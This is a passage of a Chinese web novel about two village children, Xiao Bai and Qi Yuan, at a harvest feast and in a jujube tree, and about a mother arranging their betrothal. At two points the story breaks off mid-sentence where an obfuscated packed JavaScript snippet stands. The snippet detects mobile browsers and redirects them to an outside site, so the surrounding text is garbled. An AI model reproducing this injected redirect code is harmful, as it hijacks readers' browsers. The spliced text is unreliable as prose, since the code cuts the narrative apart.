老爷子几筷子下去就把盘子装得满满当当,萧白上前帮自家阿公又是捶背、又是擦汗,好一会儿后才拉了个小板凳跟齐原一起缩在没什么人能看到的角落里。 伸手就给齐原递了双筷子和热腾腾的杂面饼子,萧白抬抬下巴示意面前的吃食:“快来尝尝我阿公的手艺,真要等待会儿大家一起上桌吃饭,就你这小身板怕是连片菜叶子都捞不到。” 眼下也就因着乞仓节大家才能聚在一起吃上顿好饭,平时谁家能大鱼大肉吃着、汤汤水水喝着,萧白完全可以半点不夸张地说,每道菜只要上桌超过五息时间,那餐盘里估计连汤汁都剩不下来。 依着齐原冷冷淡淡又不爱与人争强好胜的性子,跟外头那些村民们一起上桌,还不就只有空着肚子挨饿的份儿。 “以前你跟盈娘婶婶没出来参加过乞仓节不知道,大家抢起吃的那叫一个凶残,就算平时再好的关系,为了一口吃食恨不得都能面对面吵起来。”小哥儿说着说着便弯起一双漂亮的眉眼,显眼他在此之前见到过那样互相争抢吃食的架势,“不过说起来这样也不能怪大家,毕竟一个个都是穷惯了、苦惯了的,等以后家家户户日子好过一些,再等到乞仓节吃大锅饭的时候说不定还能剩上一大堆……” 上辈子萧白在孤儿院也跟同龄甚至更大龄些的同伴抢过吃食,毕竟在那样的情况下谁都不想饿肚子,等到后来长大赚钱可以自己养活自己,萧白依旧习惯将每顿饭都吃得干干净净。 那时不用再跟什么人抢吃食已经足够幸福,故而萧白只希望大盛朝可以永远不起战乱,这样大家的日子才能一天比一天更好过些。 “所以阿原可要多吃些,将自己养得好好的,以后考取功名不仅能养好自己、养好盈娘婶婶,还能做个可以照拂百姓的好官。”说着萧白将更多的菜夹到少年单独的小碗中,在齐原诧异抬头朝自己看过来时,他那一双圆溜溜的大眼睛里仿佛盛满漂亮的细碎星河。 21.第二十一章 吃饱喝足的萧白感觉自己浑身都是劲,扭头看看阿公他们还在热火朝天忙碌着,小哥儿扭头跟齐原打了声招呼,转身便又往萧老头那边跑过去。 爷孙俩脑袋挨着脑袋不知道说了些什么,好一会儿后萧老头终于将手上超大号的锅铲递到小哥儿手上,小哥儿抬起胳膊稍微颠了颠大锅铲的分量,下一刻他便围着灶台闷头忙活起来。 萧白确确实实不怎么会做饭,哪怕他纸上谈兵说得一套又一套,能做好的菜式不过也就那几样而已,以前每次乞仓节的时候他都想给自家阿公帮帮忙,不过那时候阿公总是以他还小为理由拒绝,这还是萧白头一次能从阿公手上将锅铲拿过来呢! 做大锅饭用到的锅铲确实非常沉重,但对于力气比寻常人更大些的萧白而言并不是什么大问题,短短挥动几下锅铲的功夫他很快便适应手上的重量,前前后后忙到满头都是汗水他也没有将锅铲递还给萧老头。 不过这下可把萧老头给心疼坏了,毕竟自家乖孙平日在家可没干过这么重的活,只是小哥儿满心满眼也想心疼一下自家阿公,任凭萧老头怎么说都没有半点要离开灶台去休息的意思。 萧老头东瞅瞅、西看看,在扭头看见木楞着张脸往这边看的齐原后,他毫不犹豫冲着少年招招手,等人走到自己身边他刻意压低声音跟少年窃窃私语几句。 齐原不用半点思考的时间,当即点点头往小哥儿身边走去,等萧白扭头朝他看过来时,他不太好意思地稍微抿了抿唇:“我……可以试试看吗?” 阿原大概跟以前的自己一样比较好奇挥动大锅铲是什么感觉吧,萧白歪歪脑袋从齐原清瘦的身形上飞快扫视一圈,在不知道想了些什么奇奇怪怪的东西后,他眨眨眼毫不犹豫将手上的锅铲递过去:“好啊,当然没问题。” 齐原敏锐察觉到小哥儿看过来的眼神有些奇怪,但一时间他又分辨不出到底哪里奇怪,只下意识伸手去接萧白递过来的锅铲。 下一秒齐原手腕全然不受控制地猛然往下沉去,立时少年原本脸上微微的木楞中带着些清冷的神色,便再也维持不下去。 “哈哈哈哈,是不是很沉!”看见少年老成的齐原脸上终于多出些这个年纪小孩该有的模样,萧白快速上前托住齐原手腕的同时更是忍不住靠在对方肩膀处哈哈大笑起来,甚至连旁边的萧老头跟其他帮厨看着也都忍不住扭头偷笑。 齐原平时没少忙活吴夫子家的各种琐事,其中有轻松的自然也有不轻松的,甚至他接连几年时不时上山挖草药也能算上个辛苦活,但跟在灶台前不停挥舞着大锅铲相比还真逊色不少。 不过少年倒也不是不能拿得动锅铲,只是一时低估了锅铲的份量,腕上用的力道不太对,自然就闹出了眼下的笑话。 要是往日齐原压根不会在意旁人嘲不嘲笑自己,只是如今盯着萧家阿公看过来的含笑目光,少年微微涨红着张脸猛然于心底生出些许过往不曾有过的不服输来:“我……可以再试试吗?” “哎呀,我刚刚就是在跟你开玩笑而已,我们阿原这手是要读书写字的,真在灶台前挥动太长时间锅铲,明天八成连笔都拿不起来了。”萧白一双眼睛笑得都快沁出水迹,下一刻他轻轻松松将少年手中的锅铲拿过去,又将人推到原来的小角落里坐下,转身才继续去给萧老头帮忙。 萧老头最是了解自家小哥儿的性子,一般只要能入他家白哥儿的眼,白哥儿又自觉已经将人拉拢到自己的小圈子里,对那些“小弟”他就没哪个是不体贴周到的,看看隔壁村的二牛还有老张家那孩子,都从小跟屁虫似的和白哥儿玩到大。 所以看到白哥儿对齐原体贴入微的模样,老爷子是没有半点感到讶异或者不对劲,只是落入其他帮厨眼中就稍稍多了些其他的意思。 萧家小哥儿跟村上其他姑娘、小子玩得开,这事大家自然都晓得,小孩子嘛,一起玩玩闹闹哪有那么多讲究,而且白哥儿在村里那群少男、少女心中完全就是非常讲义气的“大哥”,但看萧老头笑呵呵的态度,这怕不是真要将齐家那孩子赘到自家的意思啊! 萧老头可不知道身边那边乡里相邻在脑补些什么奇奇怪怪的东西,这边萧白没忙活太长时间,老爷子稍微使点儿巧劲就把锅铲夺过去,然后挥挥手就要不耐烦将人赶走:“小孩子那儿凉快哪儿玩去,这边阿公还忙得过来。” 吃饱喝足活儿还没干多长时间就被赶去玩,萧白扭头冲着齐原招招手:“灶台这边是不是有些太热了?我带你找个凉快的地方。” 马上就要是用午食的时间点,这会儿外头那叫一个人声嚷嚷,萧白觉得自己脑瓜子都在嗡嗡响个不停,所以他拉着齐原废了好大力气才终于从喧喧嚷嚷中挤出去。 “盈娘婶婶今天被大姐拉去帮忙,吃饭的时候肯定也有大姐在旁边看着,你就不用担心那边了。”见齐原回头往人最多的地方看,萧白自然知道少年是在担心谢盈娘,他抬手拍拍对方的肩膀,“而且我姐夫也在呢,没人能欺负得了盈娘婶婶。” 听小哥儿这么一说,齐原心中忍不住微微颤栗一下,所以在祈福树投掷祈福带的那会儿,白哥儿还是听见村里人的那些议论声了吧,只是因为要顾及他的颜面和心情,小哥儿才没有跟那些人争论,而是扭头装作自己并没有听到。 从村头继续往右边的小路上走,在不远处连着后山的小林子里有几棵已经不知道存活多少年的枣树。 因为那几棵枣树一直都长得歪歪扭扭,再加上这边又离自家比较近,萧白从很小的时候就喜欢偷偷跑到树上睡大觉,尤其夏秋最热的那会儿,哪怕他平时极少会午休,躺在树上吹着林中的小风也是件非常轻松自在的事。 正好这个时节部分晚熟的枣子才刚刚泛红,萧白顺手摘了几颗往身上随便擦擦就咔嚓咬了一口:“唔,能吃,不过再等一等可能会更甜一些。” 说着小哥儿伸手又多摘了几颗枣子塞到齐原手中,随即他歪着脑袋轻拍几下枣树粗壮的枝干,正好回身时对上旁侧少年看过来的视线:“阿原,你会爬树吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869710|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “爬树?”齐原被小哥儿问得有些稍稍愣住了,原本以为小哥儿带他来这边只是为了摘枣子吃,怎么也没有想到是要爬树,不过在萧白看过来的好奇视线中,他略显羞赧地摇摇头,“我没有爬过树。” 齐原从稍微记事开始,除了被齐家那些人支使得团团转外,就是被偶尔从镇上书院回家一趟的阿父压着读书、习字,甚至极少能有出去透口气的机会,就更别提爬树了。 为此在小哥儿看过来的视线中,齐原一双漂亮眼眸隐隐带上了些说不尽的晦暗,他好像跟白哥儿并没有什么共同喜好,完全不像季长宁跟张永安那样跟小哥儿有说不完的话题,甚至还不如小小只的杜小宝可以陪着小哥儿爬树、玩弹弓、抓幼蜩…… 所以小哥儿慢慢也会觉得他这样的人很是枯燥乏味吧,毕竟谁会乐意一直跟一个完全没有共同喜好的人玩耍,下意识齐原渐渐攥紧拳头,直至修剪整齐的指甲嵌进肉里带来细细密密的疼痛,他才敢对上小哥儿一双澄澈的眼眸。 “不会爬树没关系,我跟你说,这几棵枣树完全就是为你这样不会爬树的人而长成的。”说着小哥儿三两下就爬到枣树粗壮的枝干上,然后又冲着树下的齐原伸出一只手,“来,这棵最大的枣树刚好有两个粗壮的分叉枝干,我拉着你的手,很轻松就可以爬上来的。” 那棵枣树本身就是歪斜着生长的,萧白连齐原家门口很高、很高的大树都能轻松爬上去,更别提眼前这棵歪歪扭扭的枣树,略微往下倾斜着身体,小哥儿一手稳稳当当抓住大树,一手尽力伸到少年眼前稍微晃了晃:“阿原放心,我力气可是很大的,绝对能稳稳把你拉上来。” 齐原并不担心小哥儿手上没力气会摔到自己,他只担心自己身量过重会将小哥儿从树上拉扯下来,只是对上萧白满满都是期待的眼神,他抿抿唇犹豫好一会儿终究还是将自己的右手搭上去。 在少年将手搭上来的瞬间,萧白眼神瞬间亮了亮,不过转眼的功夫他手臂猛然用力,完全不等齐原自己稍稍往上攀爬,他竟然直接将人拉进自己怀里。 糟糕!力气好像用的稍微有些太大了,阿原会不会因此觉得有些丢面儿? 为了防止齐原从树上掉下去,萧白甚至还很贴心伸手搭在少年清瘦的腰身上,只是两人之间的距离实在有些太近,连彼此的呼吸都不受控制交织在一起。 对上齐原那张略显茫然不知所措的俊俏脸蛋,厚脸皮如萧白很快便想不到其他什么了,满心便只有:阿原这张脸怎么能长这么好看呢,简直是专门针对他这种颜控选手的超级大杀器! 小哥儿直勾勾的眼神落在自己脸上,让齐原一颗心止不住再次砰砰乱跳起来,偏偏两人现在的姿势多少有些危险,为了不让自己跟小哥儿一起从树上掉下去,少年只能顶着张通红的面颊压在萧白身上。 一阵清风吹来,枝叶婆娑间将影影绰绰的日光洒落到两人身上,恰好这时一颗枣子从上方摇摇晃晃掉落,下一瞬便砸中在萧白的脑袋瓜上。 22.第二十二章 瞬间萧白就被那颗枣子砸回了神,下意识抬手摸摸自己被枣子砸到的脑袋瓜,再茫茫然抬头时他总算注意到齐原通红到快要滴血的耳朵。 回身瞧了瞧两人眼下奇奇怪怪的姿势,萧白转了转眼珠子总算感受到那么一点点的不自在,大概受到少年薄脸皮的感染,他下意识先揉了把痒痒的耳朵,扭头才略显别扭地转移话题:“快看,那边的云是不是很像烧鸡?” 这个转移话题的笨拙方式简直比两人眼下的状态还尴尬,但齐原却乖乖扭头往小哥儿伸手指着的地方看过去,随即他又顺势往旁边稍微挪动一下,两人的姿势看起来才稍微更自在了些。 枝叶婆娑间,萧白百无聊赖躺在树干上继续往天边看过去,虽然刚刚是在故意转移话题,但这会儿他看那些云朵是越看越像大烧鸡,于是小哥儿忍不住舔了舔嘴巴:“突然有点想吃烤鸡了。” 小哥儿浅浅淡淡带着些垂涎的声音从耳侧传来,齐原耳根处依旧还是有些发烫,致使他有点不太敢往萧白那边看,不过几息时间过去,少年终于扭头将视线落到小哥儿身上,小哥儿却已经眯起眼睛睡着了。 平时萧白没什么事情压根不会起这么早,今早他完全是被阿娘硬生生从床上拽起来的,所以这会儿才难得有些犯困。 大枣树上两根树干非常粗壮,以前萧白没少拉着杜小宝一起在这边消磨时间,所以他睡着后躺得那叫一个稳当,不过齐原并不知道小哥儿睡着后是个什么模样,便不放心往旁边稍微挪了挪,如果小哥儿待会在梦中不小心翻个身,他还能及时将人拉回来。 平日里的萧白在少年面前总是一副精神满满的状态,齐原自是头一次见到小哥儿一次安安静静的模样。 看着、看着齐原忍不住将视线落在小哥儿纤长浓黑的眼睫处,不知为何他竟然有种想要伸手碰一碰那浓黑眼睫的冲动。 但只几息时间划过,他心中一颤突觉自己过于失礼,下意识将视线缓缓挪开后,齐原垂眸呆愣愣望着自己未曾伸出的那只手。 “小舅舅、小舅舅,我就知道你肯定带齐原哥哥来了这边。”不知道过去多长时间,萧白被树下杜小宝闹挺的大嗓门吵醒,他下意识想要冲树下喊一嗓子,突然就发现自己一只手正被人紧紧抓着。 觉察到手上被拉扯的力度,靠在旁边树干上的齐原略显茫然睁开双眼,下一刻萧白便举起两人紧紧握在一起的手在少年眼前晃了晃。 从迷迷糊糊的状态中清醒只需要一个呼吸的时间,齐原上一刻还略带茫然睁开眼,下一刻整张脸立时变得通红起来:“我、我不知道怎么睡着了……” “知道啦、知道啦,阿原肯定是怕我睡着的时候从树上掉下去嘛!”萧白才不是那种“恩将仇报”的人,看着齐原满脸通红的模样,他嘿嘿一笑转头才冲着树下的杜小宝招招手,“阿奶、阿公他们都已经忙完回家了吗?” “对呀,大家都已经回家了,外公才说让我出来找小舅舅和齐原哥哥,反正我一猜就知道你们会在这里。”伸手非常有准头接住小舅舅扔过来的枣子,杜小宝二话不说往身上擦两下就给随手塞进嘴里,那架势简直跟他小舅舅一个模子刻出来的。 齐原本就没有什么爬树的经验,能爬上去完全靠小哥儿伸手拉了一把,这会儿他试探看向枣树距离地面的高度,估摸着即便自己跳下去,摔得应该也不会太严重。 萧白压根不知道少年已经想着要摔上一跤才能从树上下去,他一边悠哉悠哉晃悠着双腿,一边兴致勃勃投喂了好一会儿站在树下的杜小宝,好一会儿后小哥儿索性单手抓着身边的枝干,双腿稍稍用了个巧劲就非常完美落在地上。 在杜小宝一贯对自家小舅舅的彩虹屁中,萧白毫不犹豫转身对着树上的齐原张开双臂:“能下来吗,不好下来的话我在树下接着你。” 坐在树上不太自在望了好一会儿对着自己张开双臂的小哥儿,齐原总觉得他跟白哥儿眼下的情况有些不太对劲,但一时间他又说不上来具体哪里不对劲,便只能微微抿唇愣在原地没有半点动作。 杜小宝可不会觉得有哪里不对劲,毕竟他再小些的时候全是靠着小舅舅才能在那些大树上快乐玩耍,所以见齐原哥哥呆坐在树干上,就以为齐原哥哥是害怕摔下来才那么紧张。 于是萧白都还没顾得上说话,小家伙儿赶忙先挥着手安慰起来:“齐原哥哥别怕,我小舅舅力气又大手又稳当,绝对可以结结实实把你从树上接下来的。” 难道他这会儿傻傻坐在树上是在纠结这个问题吗!齐原无意识抓了抓身下枣树的树干,下一刻他便对上了树下小哥儿一双满是期待和安抚的眼眸。 当即齐原便将里子、面子全都抛到脑后,学着之前小哥儿的模样一点点往树下爬,最后少年稍微用力往地上一跳,转头便被等在树下的萧白稳稳接了个满怀。 不过因为有杜小宝在旁边看着,齐原又觉得自己今日实在太过丢脸,只微微红着耳根就赶紧从小哥儿怀里退出来。 萧白却觉得这一幕有意思极了,不过为了防止真将少年惹恼,他转而伸手捏了捏杜小宝的腮帮子:“中午你是抢到多少东西吃了,一张脸弄得跟花猫似的。” 杜小宝还在津津有味啃着大枣,闻言更是忍不住嘿嘿一笑:“我是谁啊,我可是小舅舅的亲亲大外甥呀,怎么可能在抢菜方面输给桌上其他小孩!” “哦,是吗!”萧白不无怀疑看了眼嘴巴吃到鼓鼓囊囊的小屁孩,最后还是非常认真地点点头,“行吧,我承认今天的小宝是那些小屁孩中最厉害的一个。” “嗯呢,我小舅舅是那些大孩子中最厉害的一个,加上齐原哥哥,我们就是打遍天下无敌手的厉害三人组。”小孩果然不愧是小孩,上午刚看过几场杂耍、听过几场故事,现在满脑子就都是结伴闯荡江湖、行侠仗义。 此时此刻纪老太的房间里,家中几个男性已经被赶到院中喝茶、唠嗑,望着全身写满紧张的谢盈娘,纪老太还算温和地笑了笑:“盈娘,你确定刚刚说的那些话不是在故意糊我这个老婆子?” 虽然一直以来自家傻儿子总对齐家小子挑三拣四,觉得人家这也不好、那也不好,其实纪老太心里也明白,但凡谢盈娘以后想让孩子出人头地,大概率不会让齐原做萧家的赘婿,只是没想到今日乞仓节散场,谢盈娘还真寻了过来说明自己的意图。 “婶娘,我刚刚那些话没有半句作假。”强行忍住已经到嗓子眼的咳意,谢盈娘再抬头时双眼已经止不住微微泛红,“我跟齐明亦做了十几年夫妻,如今最明白他骨子里是怎样一个心狠手辣的人,加之我常年缠绵病榻,不知道还能再活多长时间,别的什么我都不害怕,怕只怕在我死后阿原没个念想,被齐家那群畜牲不如的东西欺负了去……” 从一开始谢盈娘就是有私心的,只是原本她想着让阿原做萧家赘婿,依着眼前一大家子的良善性情,最起码自己去世后萧家能稍稍照拂一二。 只是没想到萧家的白哥儿是那么好一孩子,如此谢盈娘心底也更是明白,即便做赘婿,也实实在在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874558|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她家阿原高攀了白哥儿。 谢盈娘想得足够深远,她握紧手中的帕子艰难开口继续补充:“我到底妇道人家一个,并不能打听清楚齐明亦在京中跟哪位贵女成了亲,怕只怕对方以后会觉得阿原成为他们的阻碍,但我和阿原更不能因此而连累萧家,如果真有京中针对阿原的那日,即便阿原已经成为萧家赘婿,届时萧家也定要说弃就弃、保全己身。” 谢盈娘这番话完全发自肺腑,并不存在任何以退为进的思虑,只要萧家愿意帮扶阿原让他可以安安心心读书、科考,她便已经足够感恩戴德,又怎么可能要求更多。 假设真到京中贵女非要针对阿原的那一日,就全当阿原那孩子命途不济,算她这个阿娘识人不清吧。 听过谢盈娘的一番话,纪老太抬眸看了眼棠悦:“悦娘,这事你怎么看?” 从最初谢盈娘让阿原那孩子过来送针线起,棠悦便隐约猜到了些对方的想法,不过确实如纪老太所思所想,读书人怎么可能轻易与人做赘婿,故而她心中想着谢盈娘或许还有其他计较,只是不曾想到了眼前这一刻,谢盈娘是真真切切要送阿原那孩子与她家白哥儿做赘婿。 对方已经将话说得足够明白,甚至足够低声下气,想起齐家那糟心的一大家子,棠悦也是忍不住叹息一声:“盈娘与我们推心置腹,我们萧家自然不会敷衍了事,虽然这段时间相看赘婿一直都是瞒着白哥儿私下进行,但真要定下赘婿人选的还得是白哥儿,最近一两日我自会将事情原原本本与白哥儿说清楚……” “在此之前盈娘少有跟村里人来往,可能还不是很清楚白哥儿的性子,你与我们推心置腹,我们也不能在这方面有所隐瞒,”说到这里棠悦略显不自在喝了口茶水:“白哥儿说到底毕竟是我们萧家疼着、宠着长大的,看着好好一孩子自然也有格外骄纵任性的时候,只怕以后……。” “阿奶、阿娘。”屋子里头说着正事,屋子外头萧老头跟萧青山正有一搭、没一搭地闲聊,萧白摘了一堆枣子带着齐原和杜小宝回来时,一进院门就有些惊呆了,“哇,阿公、阿父,你们怎么坐在院子喂蚊子?” 虽说现在一早一晚已经稍稍有了些入秋的凉意,但坐在外头唠嗑还是会被蚊虫叮咬的,前段时间萧白闲着没事干刚去采了些菖蒲回来,不过这会儿好像没见阿公、阿父用上。 见到几个孩子从外面开开心心回来,萧青山第一时间将不太满意的视线落到齐原身上,心里依旧还是觉得这孩子太文弱气了些,哪能配得上他家白哥儿,但里头自家老娘和媳妇都还没发话,他肯定不敢走露出半点风声。 听到外面传来的动静,纪老太她们总算陆陆续续走了出来,不过这次谢盈娘婉拒了萧家的留饭,没多大会儿就带着齐原离开。 当夜谢盈娘一整晚都没睡好,于是第二天她咳嗽的症状便稍显严重了些,齐原二话不说背起背篓就去后山又采了些草药,等他忙个差不多回来时就看到阿娘坐在院子里发呆。 听到儿子的脚步声,谢盈娘沉默好一会儿到底还是冲着齐原招招手,等孩子已经走到跟前坐下,她略微咳嗽几声后突然开口道:“近几日阿娘给你定了桩亲事。” 谢盈娘话音尚未完全落下,齐原已经蹙着眉头握紧双拳:“阿娘,我不想……” 齐原如今不过刚刚十岁的年纪,眼下定亲确实早了些,但也不至于早得太过分。 不等儿子开口拒绝,谢盈娘强硬压下已经逼到嗓子眼的咳意:“这门亲事定了——萧家的白哥儿。”